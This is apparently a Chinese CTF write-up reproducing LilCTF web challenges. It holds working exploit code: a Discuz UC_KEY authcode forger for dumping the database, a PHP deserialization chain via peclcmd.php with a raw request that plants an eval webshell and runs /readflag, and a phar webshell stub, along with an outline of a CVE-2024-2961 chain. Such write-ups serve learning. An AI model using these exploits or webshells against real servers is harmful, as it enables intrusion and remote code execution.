lilctf复现

秋雨样 · 2025-8-23  · 次阅读


web

我曾有一份工作


通过扫描器可以发现源码泄露,下载源码

通过翻找我们可以找到api/db目录下的dbbak.php

可以发现其主要逻辑,其请求参数为code和apptype

这里使用了UC_KEY加密参数

KEY的位置在./config/config_ucenter.php

我们可以利用_authcodefunction和encode_arrfunction获得code,再备份

这里可以看到需要的参数是timemethod

备份的逻辑在export

获得code的代码


<?php
define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if (((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}


function encode_arr($get)
{
    $tmp = '';
    foreach ($get as $key => $val) {
        $tmp .= '&' . $key . '=' . $val;
    }
    return _authcode($tmp, 'ENCODE', UC_KEY);
}

$get = array('time' => time(), 'method' => 'export');
$enc = encode_arr($get);
echo urlencode($enc);

请求

http://gz.imxbt.cn:20918/api/db/dbbak.php?code=ad38XUllgLaHNV6Vr8Q4IhxplWxHSsEUAHV4mrIbAzAbVarpo8HcWNZKfMMuJIFshPb4GiFVhaH1ZJM&apptype=discuzx

获得备份

然后题目给出提示flag在pre_a_flag

Ekko_note

主要考点是这一篇文章
https://www.cnblogs.com/LAMENTXU/articles/18921150

但是得下python 3.14这里就不复现了,这里主要的考点就在这个uuid8的不安全(生成全部都使用了伪随机数)

def uuid8(a=None, b=None, c=None):
    """Generate a UUID from three custom blocks.

    * 'a' is the first 48-bit chunk of the UUID (octets 0-5);
    * 'b' is the mid 12-bit chunk (octets 6-7);
    * 'c' is the last 62-bit chunk (octets 8-15).

    When a value is not specified, a pseudo-random value is generated.
    """
    if a is None:
        import random
        a = random.getrandbits(48)
    if b is None:
        import random
        b = random.getrandbits(12)
    if c is None:
        import random
        c = random.getrandbits(62)
    int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
    int_uuid_8 |= (b & 0xfff) << 64
    int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
    # by construction, the variant and version bits are already cleared
    int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
    return UUID._from_int(int_uuid_8)

Your Uns3r

<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        if (strpos($this->value, 'S:') === false) {
            $ser = serialize(unserialize($this->value));
            $instance = unserialize($ser);
            if ($ser != $this->value && $instance instanceof Access) {
                include($instance->getToken());
            }
        } else {
            throw new Exception("wanna ?");
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");
Fatal error: Uncaught exception 'Exception' with message 'nonono!!!' in /var/www/html/index.php:52 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 52

这题知识点还是很多的

先是在构造反序列化的字符串可以使用十六进制编译,这里就是
;s:5:"admin"替换为;S:5:"\61dmin"

然后这里还有serialize(unserialize($this->value)) !== $this->value
我们可以通过__PHP_Incomplete_Class绕过

pearcmd.php被禁用,我们可以使用peclcmd.php代替,这个是平替

最后还要利用fast destruct

payload

<?php
class User
{
    public $username;
    public $value;
}

class Access
{
    protected $prefix = '/usr/local/lib/';
    protected $suffix = '/../php/peclcmd.php';
}
$a = new User;
$a->username = 'admin';
$b = new Access;

$c = serialize($b);
$d = str_replace('O:6:"Access":2:', 'O:22:"__PHP_Incomplete_Class":3:', $c);
$e = str_replace('}', 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}', $d);
// print_r($e);
// print("\n");
$a->value = $e;
$fin = serialize($a);
$finall = str_replace('s:5:"admin"', 'S:5:"\61dmin"', $fin);
print_r(urlencode($finall));

包:

POST /index.php?+config-create+/<?=eval($_POST['a']);?>+/var/www/html/index.php HTTP/1.1
Host: gz.imxbt.cn:20219
Content-Length: 391
Pragma: no-cache
Cache-Control: no-cache
Origin: http://gz.imxbt.cn:20217
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gz.imxbt.cn:20217/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive

user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A164%3A%22O%3A22%3A%22__PHP_Incomplete_Class%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A15%3A%22%2Fusr%2Flocal%2Flib%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22%2F..%2Fphp%2Fpeclcmd.php%22%3Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A6%3A%22Access%22%3B%7D%22%3B&a=system('/readflag');

php_jail_is_my_cry

<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $file_name = basename($url);

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);

    if ($data) {
        file_put_contents('/tmp/'.$file_name, $data);
        echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
    } else {
        echo "下载失败。";
    }
}

if (isset($_GET['down'])){
    include '/tmp/' . basename($_GET['down']);
    exit;
}

// 上传文件
if (isset($_FILES['file'])) {
    $target_dir = "/tmp/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $orig = $_FILES["file"]["tmp_name"];
    $ch = curl_init('file://'. $orig);

    // I hide a trick to bypass open_basedir, I'm sure you can find it.

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
        file_put_contents($target_file, $data);
    } else {
        echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
        $data = null;
    }
}
?>

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件下载工具</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .container {
            background: white;
            padding: 40px;
            border-radius: 15px;
            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);
            max-width: 500px;
            width: 90%;
        }

        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
            font-size: 2.2em;
            font-weight: 300;
        }

        .form-group {
            margin-bottom: 25px;
        }

        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
            font-weight: 500;
        }

        input[type="text"] {
            width: 100%;
            padding: 15px;
            border: 2px solid #e1e1e1;
            border-radius: 8px;
            font-size: 16px;
            transition: border-color 0.3s ease;
        }

        input[type="text"]:focus {
            outline: none;
            border-color: #667eea;
            box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1);
        }

        /* 选项卡样式 */
        .tabs {
            display: flex;
            margin-bottom: 30px;
            border-bottom: 2px solid #f1f1f1;
        }

        .tab-button {
            flex: 1;
            padding: 15px;
            border: none;
            background: transparent;
            color: #666;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            border-bottom: 3px solid transparent;
            transition: all 0.3s ease;
        }

        .tab-button.active {
            color: #667eea;
            border-bottom-color: #667eea;
            background: rgba(102, 126, 234, 0.05);
        }

        .tab-button:hover {
            color: #667eea;
            background: rgba(102, 126, 234, 0.05);
        }

        .tab-content {
            display: none;
        }

        .tab-content.active {
            display: block;
        }

        /* 文件上传样式 */
        .file-input-wrapper {
            position: relative;
            display: block;
        }

        input[type="file"] {
            position: absolute;
            opacity: 0;
            width: 100%;
            height: 100%;
            cursor: pointer;
        }

        .file-input-label {
            display: block;
            padding: 40px 20px;
            border: 2px dashed #e1e1e1;
            border-radius: 8px;
            text-align: center;
            cursor: pointer;
            transition: all 0.3s ease;
            background: #fafafa;
        }

        .file-input-label:hover {
            border-color: #667eea;
            background: rgba(102, 126, 234, 0.05);
        }

        .file-input-wrapper.dragover .file-input-label {
            border-color: #667eea;
            background: rgba(102, 126, 234, 0.1);
            transform: scale(1.02);
        }

        .file-input-wrapper.has-file .file-input-label {
            border-color: #28a745;
            background: rgba(40, 167, 69, 0.05);
            color: #28a745;
        }

        button {
            width: 100%;
            padding: 15px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: transform 0.2s ease, box-shadow 0.2s ease;
        }

        button:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 25px rgba(102, 126, 234, 0.3);
        }

        button:active {
            transform: translateY(0);
        }

        .result {
            margin-top: 25px;
            padding: 15px;
            border-radius: 8px;
            text-align: center;
        }

        .success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }

        .error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }

        .result a {
            color: #007bff;
            text-decoration: none;
            font-weight: 600;
        }

        .result a:hover {
            text-decoration: underline;
        }

        .loading {
            display: none;
            text-align: center;
            margin-top: 15px;
        }

        .spinner {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #667eea;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 1s linear infinite;
            margin: 0 auto 10px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .tip {
            background-color: #f8f9fa;
            border: 1px solid #dee2e6;
            border-radius: 8px;
            padding: 15px;
            margin-top: 20px;
            color: #6c757d;
            font-size: 14px;
        }

        .tip strong {
            color: #495057;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🚀 文件管理工具</h1>
        <div class="tabs">
            <button class="tab-button active" onclick="switchTab('download')">📥 下载文件</button>
            <button class="tab-button" onclick="switchTab('upload')">📤 上传文件</button>
        </div>

        <!-- 下载表单 -->
        <div id="downloadTab" class="tab-content active">
            <form method="post" id="downloadForm">
                <div class="form-group">
                    <label for="url">📎 文件URL地址:</label>
                    <input type="text" id="url" name="url" placeholder="请输入要下载的文件URL..." required>
                </div>
                <button type="submit" id="submitBtn">
                    <span id="btnText">开始下载</span>
                </button>
                <div class="loading" id="loading">
                    <div class="spinner"></div>
                    <p>正在下载中,请稍候...</p>
                </div>
            </form>
        </div>

        <!-- 上传表单 -->
        <div id="uploadTab" class="tab-content">
            <form method="post" enctype="multipart/form-data" id="uploadForm">
                <div class="form-group">
                    <label for="file">📁 选择文件:</label>
                    <div class="file-input-wrapper">
                        <input type="file" id="file" name="file" required>
                        <label for="file" class="file-input-label">
                            <span id="file-label-text">点击选择文件或拖拽文件到此处</span>
                        </label>
                    </div>
                </div>
                <button type="submit" id="uploadBtn">
                    <span id="uploadBtnText">开始上传</span>
                </button>
                <div class="loading" id="uploadLoading">
                    <div class="spinner"></div>
                    <p>正在上传中,请稍候...</p>
                </div>
            </form>
        </div>

        <?php if (isset($_POST['url'])): ?>
            <div class="result <?php echo $data ? 'success' : 'error'; ?>">
                <?php if ($data): ?>
                    ✅ 文件下载成功!<br>
                    <a href="<?php echo ($file_name); ?>" download>📥 点击下载: <?php echo ($file_name); ?></a>
                <?php else: ?>
                    ❌ 下载失败,请检查URL是否正确或稍后再试。
                <?php endif; ?>
            </div>
        <?php endif; ?>

        <?php if (isset($_FILES['file'])): ?>
            <div class="result <?php echo (stripos($data, '<?') === false && stripos($data, 'halt') === false) ? 'success' : 'error'; ?>">
                <?php if (stripos($data, '<?') === false && stripos($data, 'halt') === false): ?>
                    ✅ 文件上传成功!<br>
                    <a href="?down=<?php echo ($target_file); ?>">📥 点击下载: <?php echo ($target_file); ?></a>
                <?php else: ?>
                    ❌ 上传失败,文件包含恶意字符或格式不正确。
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </div>

    <script>
        // 选项卡切换功能
        function switchTab(tabName) {
            // 移除所有活动状态
            document.querySelectorAll('.tab-button').forEach(btn => btn.classList.remove('active'));
            document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));

            // 添加活动状态
            document.querySelector(`[onclick="switchTab('${tabName}')"]`).classList.add('active');
            document.getElementById(tabName + 'Tab').classList.add('active');
        }

        // 下载表单处理
        document.getElementById('downloadForm').addEventListener('submit', function(e) {
            const button = document.getElementById('submitBtn');
            const loading = document.getElementById('loading');
            const btnText = document.getElementById('btnText');

            // 显示加载状态
            button.disabled = true;
            btnText.textContent = '下载中...';
            loading.style.display = 'block';
        });

        // 上传表单处理
        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            const button = document.getElementById('uploadBtn');
            const loading = document.getElementById('uploadLoading');
            const btnText = document.getElementById('uploadBtnText');

            // 显示加载状态
            button.disabled = true;
            btnText.textContent = '上传中...';
            loading.style.display = 'block';
        });

        // 文件选择处理
        document.getElementById('file').addEventListener('change', function(e) {
            const wrapper = this.closest('.file-input-wrapper');
            const label = document.getElementById('file-label-text');

            if (e.target.files.length > 0) {
                const fileName = e.target.files[0].name;
                label.textContent = `已选择: ${fileName}`;
                wrapper.classList.add('has-file');
            } else {
                label.textContent = '点击选择文件或拖拽文件到此处';
                wrapper.classList.remove('has-file');
            }
        });

        // 拖拽上传功能
        const fileInputWrapper = document.querySelector('.file-input-wrapper');
        const fileInput = document.getElementById('file');

        ['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
            fileInputWrapper.addEventListener(eventName, preventDefaults, false);
        });

        function preventDefaults(e) {
            e.preventDefault();
            e.stopPropagation();
        }

        ['dragenter', 'dragover'].forEach(eventName => {
            fileInputWrapper.addEventListener(eventName, highlight, false);
        });

        ['dragleave', 'drop'].forEach(eventName => {
            fileInputWrapper.addEventListener(eventName, unhighlight, false);
        });

        function highlight(e) {
            fileInputWrapper.classList.add('dragover');
        }

        function unhighlight(e) {
            fileInputWrapper.classList.remove('dragover');
        }

        fileInputWrapper.addEventListener('drop', handleDrop, false);

        function handleDrop(e) {
            const dt = e.dataTransfer;
            const files = dt.files;

            if (files.length > 0) {
                fileInput.files = files;
                // 触发 change 事件
                fileInput.dispatchEvent(new Event('change'));
            }
        }

        // 输入框焦点效果
        document.getElementById('url').addEventListener('focus', function() {
            this.style.transform = 'scale(1.02)';
        });

        document.getElementById('url').addEventListener('blur', function() {
            this.style.transform = 'scale(1)';
        });

        // 页面加载时检查是否有上传结果,如果有则切换到上传选项卡
        window.addEventListener('load', function() {
            <?php if (isset($_FILES['file'])): ?>
                switchTab('upload');
            <?php endif; ?>
        });
    </script>
</body>
</html>
  1. 利用 phar include gz 压缩解析漏洞上马 (仅能通过 curl 读文件, file_put_contents 写文件)
  2. 利用 curl 绕过 open_basedir 读取 /proc/self/maps
  3. 利用 include 函数拆解 payload 打 CN-EXT (CVE-2024-2961)

这题算比较难的了,很多知识点有得学一学

这里面有很多的函数都被ban了,我们先利用phar include gz 压缩解析漏洞上马

具体讲解可以看
https://xz.aliyun.com/news/18584

我们这里编写phar的payload

<?php
$phar = new  Phar('payload.phar');
$phar->startBuffering();
$phar->setStub('
<?php echo 12121;
if ($_GET[0] == 0) {
    file_put_contents($_POST[0], $_POST[1]);
}
if ($_GET[0] == 1) {
    $orig = $_POST[0];
    $ch = curl_init($orig);
    curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    echo $data;
    curl_close($ch);
}
__HALT_COMPILER();
');
$phar->addFromString('qiuyuyang', '111');
$phar->stopBuffering();

一个好奇的人